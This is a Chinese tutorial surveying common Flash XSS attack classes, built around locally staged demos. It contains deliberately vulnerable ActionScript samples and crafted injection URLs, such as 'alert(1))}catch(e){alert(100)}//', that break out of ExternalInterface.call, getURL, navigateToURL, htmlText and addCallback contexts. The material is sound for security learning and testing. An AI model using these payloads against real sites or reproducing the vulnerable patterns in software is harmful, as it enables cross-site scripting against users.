一聚教程网:一个值得你收藏的教程网站

热门教程

总结常见Flash XSS攻击方式【值得收藏】

时间:2022-06-25 07:32:30 编辑:袖梨 来源:一聚教程网

0x01 HTML中嵌入FLASH

在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同,可以使用embed标签和object标签,使用如下的代码进行嵌入:

IE下嵌入



非IE下嵌入



在插入Flash的过程中有两个重要的参数,allowScriptAccess和allowNetworking两个参数:
   
allowScriptAccess:控制html页面与Flash页面的通讯。 always:html和Flash页面的通讯不做任何的限制; samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】; never:html和Flash禁止通讯。  allowNetworking:控制Flash与外部的网络通讯。 all:Flash所有的网络API通讯接口都可用; internal:navigateToURL,fscommand,ExternalInterface.call不可用; none:所有的网络API不可用。

以chrome浏览器为例来验证以上参数,首先在本地搭建环境,并且新建一个Flash文件,Flash文件包括的内容主要是使用ExternalInterface.call执行力一个js语句,弹出当前域的域名。

1):插入本地的Flash文件。



运行结果:

常见Flash XSS攻击方式


2):插入本地的Flash,将allowScriptAccess参数改为samedomain。



运行结果:

常见Flash XSS攻击方式

Html界面与Flash属于同域,因此能够弹出。

3):插入本地Flash,将allowScriptAccess改为never。



运行结果没有弹出。

4):插入远程Flash,将allowScriptAccess改为always。



运行结果:

常见Flash XSS攻击方式

注意这里弹出的域为当前html的域名,非Flash的域。

5):插入远程Flash,将allowScriptAccess改为samedomain



运行结果没有弹出,因为Flash的域不和html在同一域内。

6):插入远程Flash,将allowScriptAccess改为never



运行结果没有弹出,由于禁止了与html界面通讯。

7)将allowScriptAccess置为always,将allowNetworking置为internal



运行结果没有弹出,allowNetworking的参数置为internal,禁止了接口ExternalInterface.all。

0x02 Flash跨域请求

Flash跨域访问的时候主要受到crossdomain.xml文件的影响。crossdomain.xml文件严格遵循xml语法,主要作用就是当被Flash请求到本域资源的时候,是否允许请求。 例如: www.evil.com中嵌入一个Flash,Flash跨域请求www.q.com下的资源,此时会先查看www.q.com目录下的crossdomain.xml文件,查看是否允许evil.com域Flash请求本域的资源。 crossdomain.xml文件主要包含如下几个节点:

site-control,allow-access-from,allow-access-from-identity,allow-http-request-headers-from

常用的节点为allow-access-from【可能我见的少= =】,用来指明允许本域资源允许被哪些域名的Flash跨域请求。

例如下面为优酷的crossdomain.xml文件:

//允许youku.com域名的Flash访问

Ps.这个文件常常被用到Flash csrf中,当allow-access-from domain被设置为*后,可能存在Flash csrf的风险。

0x03 常见Flash xss分类总结

Flash缺陷参数-getURL

Flash提供相关的函数,可以执行js代码,getURL【AS2中支持】,navigateToURL【AS3中支持】,ExternalInterface.call。 在wooyun中搜索到了一个相关实例:

WooYun: 久游网FLASH安全问题深入分析与利用(一)

本着学习的原则本地搭建实践了下: 本地新建了个Flash,Flash调用外部资源xml文件。 Flash代码:

var root_xml:XML = new XML(); root_xml.ignoreWhite = true; root_xml.onLoad = function(success){     if(success){         getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)     }else{         getURL("javascript:alert(‘fail’)")     } } root_xml.load(_root.url);

xml文件:

     javascript:alert('xss')

运行结果:

常见Flash XSS攻击方式

Ps.此类问题一般可以使用google搜索xml文件被swf调用的情况,传入的内容如果没做过滤,很可能出现此类问题。

Flash缺陷参数-navigateToURL

上例中getURL()为AS2中的方法,在AS3中使用的是navigateToURL,wooyun中上报过此参数导致Flash xss的实例。

wooyun-2012-016512">WooYun: [腾讯实例教程] 那些年我们一起学XSS - 14. Flash Xss入门 [navigateToURL]

此类问题原理一般是由于调用了的资源文件(如xml)可被攻击者控制,导致了Flash xss。

本着学习的原则,本地搭建实践了下: Flash文件:

var url:String = stage.loaderInfo.parameters.url var req:URLRequest = new URLRequest("a.xml"); var ld:URLLoader = new URLLoader(); ld.addEventListener(Event.COMPLETE ,ok); function ok(evtObj:Event):void {     if(ld.data){         navigateToURL(new URLRequest(url),'_self')     } else {             } } ld.load(req)

大致意思就是从外部获取了一个参数,通过navigateToURL调用。

运行结果:

常见Flash XSS攻击方式

Flash缺陷参数-ExternalInterface.call(参数一)

ExternalInterface.call同样是一个Flash提供的可以执行js的接口函数, ExternalInterface.call函数有两个参数,形如ExternalInterface.call("函数名","参数1")。

Flash最后执行的JS代码如下:
   
try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

此段先考虑参数1,即函数名。

Wooyun上相关的实例有:

WooYun: [腾讯实例教程] 那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

WooYun: Flash应用安全系列[1]--360反射型跨站

这两篇都写的很详细。

本着学习的原则,本地搭建实践了下: Flash文件:

var a:String = root.loaderInfo.parameters.func if(ExternalInterface.available){     ExternalInterface.call(a) } else {     trace(100) } stop()

从外部获取参数func,使用ExternalInterface.call接收第一个参数,执行。

对比:

try { __Flash__toXML(函数名("参数1")) ; } catch (e) { ""; }

创建url:

http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//

这样实际执行的js代码为:

try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { ""; }  http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//  try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { ""; }

预期结果应该是第一个url执行之后弹出数字1,第二个url执行之后弹出数字100。 访问

http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//

常见Flash XSS攻击方式



访问

http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//

常见Flash XSS攻击方式

和预期结果一样。

Flash缺陷参数-ExternalInterface.call(参数二)

有时候当反编译swf之后,会发现可控的参数的输出位置在ExternalInterface.call函数的第二个参数,方法和思路与第一个参数的时候类似。

Wooyun里面相关的例子:

WooYun: [腾讯实例教程] 那些年我们一起学XSS - 16. Flash Xss进阶 [ExternalInterface.call第二个参数]

WooYun: Flash应用安全系列[3]--WordPress反射型跨站(0day)

Flash文件:

var a:String = root.loaderInfo.parameters.par if(ExternalInterface.available){     ExternalInterface.call("alert",a) } else {     trace(100) } stop()

Flash文件中的a是从外部获取的参数,此处外部获取的参数par赋值给了a,作为输出点输出到了ExternalInterface的第二个参数的位置,此处相对于第一个参数的不同之处是,此处的输出点在引号中,因此此处我们需要把引号闭合掉。根据上面两边文章,可以发现闭合引号使用的方法是/”这样会被转义为/”,”就被吃掉了。

根据ExternalInterface.call的调用原型:

try { __Flash__toXML(函数名("参数1")) ; } catch (e) { ""; }

我们将参数输入如下的url:

http://192.168.4.70/ExternalInterface_second.swf?par=1111/%22),al)}catch(e){alert(1000)}//

分析应该执行如下:

try{   __Flash__toXML(alert(“1111//”),al } catch(e){   alert(1000) }

如此下来应该就会弹出两个框,一个为1111/,另外一个为1000。 运行结果,弹出1111/:

常见Flash XSS攻击方式

点击确定,弹出1000:

常见Flash XSS攻击方式

Ps. 此处ExternalInterface.call调用的函数名,编写Flash的时候设置了alert,因此此处会弹两次,一般情况下,函数名是不能够被控制,这样我们使得,前面的函数执行异常,执行catch中的js即可。

Flash缺陷参数-htmlText

Flash支持在Flash里内嵌html,支持的标签img标签,a标签等。 img标签可以通过src参数引入一个Flash文件,类似与XSF一样。

WooYun: Flash应用安全系列[6]--新浪微博蠕虫威胁

文档写的很详细,推荐阅读。 本着学习的原则,本地创建了Flash文件,

import fl.controls.TextArea; var a:String = root.loaderInfo.parameters.url var t:TextArea = new TextArea() t.t.t.htmlText += a addChild(t)

从获取URL中的参数url,赋值给a,变量a直接输出到了Textarea t中。 访问如下url:

http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E

访问结果如下:

常见Flash XSS攻击方式

Ps.当反编译Flash文件,发现htmltext输出点的时候,可以查看相关是否存在相关的可控的输入,可能存在xss。 Flash缺陷参数object的id可控 html与swf通讯的时候,使用的是ExternalInterface.addCallback函数,调用如下:

function a(){   trace(“hi”); } ExternalInterface.addCallback(“test”,a);

执行了函数之后,在html上可以通过使用函数名test来调用Flash中的函数a。

addCallback的原理:

if ((((activeX == true)) && (!((objectID == null))))){      _evalJS((((("__Flash__addCallback(document.getElementById(/"" + objectID) + "/"), /"") + functionName) + "/");"));  };

objectID为Flash的id,functionName为函数名称,因此当我们插入的Flash的id可控的时候,可能会出现xss问题。

Wooyun上已经出现的类似问题:

WooYun: [腾讯实例教程] 那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]

WooYun: Flash应用安全系列
[4]--Flash Player的又一个0day

WooYun: QQ空间某功能缺陷导致日志存储型XSS - 12

本着学习的原则,本地创建了Flash文件,

function a(){     trace("hi") } ExternalInterface.addCallback("test",a)

x.html页面



访问该界面(IE8下测试):

常见Flash XSS攻击方式

Flash缺陷参数addcallback与lso结合

这个问题出现的点在addCallback声明的函数,在被html界面js执行之后的返回值攻击者可控,导致了xss问题。使用lso中首先会setlso,写入脏数据,然后getlso获取脏数据。


drops下相关资料:

一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -(埋雷式攻击附带视频演示)

本着学习的原则,本地创建了Flash文件,

function setlso(_arg1:String):Boolean{     var _local2:SharedObject = SharedObject.getLocal("kj");     _local2.data.key = _arg1;     _local2.flush();     return (true); }  function getlso():String{     var _local1:SharedObject = SharedObject.getLocal("kj");     if(_local1.data.key == undefined){         return ("");     }     return (_local1.data.key); } ExternalInterface.addCallback("getlso",getlso) ExternalInterface.addCallback("setlso",setlso)

x.html



运行结果:

常见Flash XSS攻击方式

跨站Flash

跨站Flash即XSF,通过AS加载第三方的Flash文件,如果这个第三方Flash可以被控制,就可以实现XSF。 在AS2中使用loadMove函数等加载第三方Flash。

_root.loadMovie(swf);

在AS3中使用Loader类进行外部数据处理:

var param:Object = root.loaderInfo.parameters; var swf:String = param[“swf”]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader);

本地搭建环境,新建Flash:

var param:Object = root.loaderInfo.parameters; var swf:String = param["swf"]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader);

新建本地html文件:



运行结果,加载了远程有缺陷的swf文件导致了xsf。

常见Flash XSS攻击方式

其他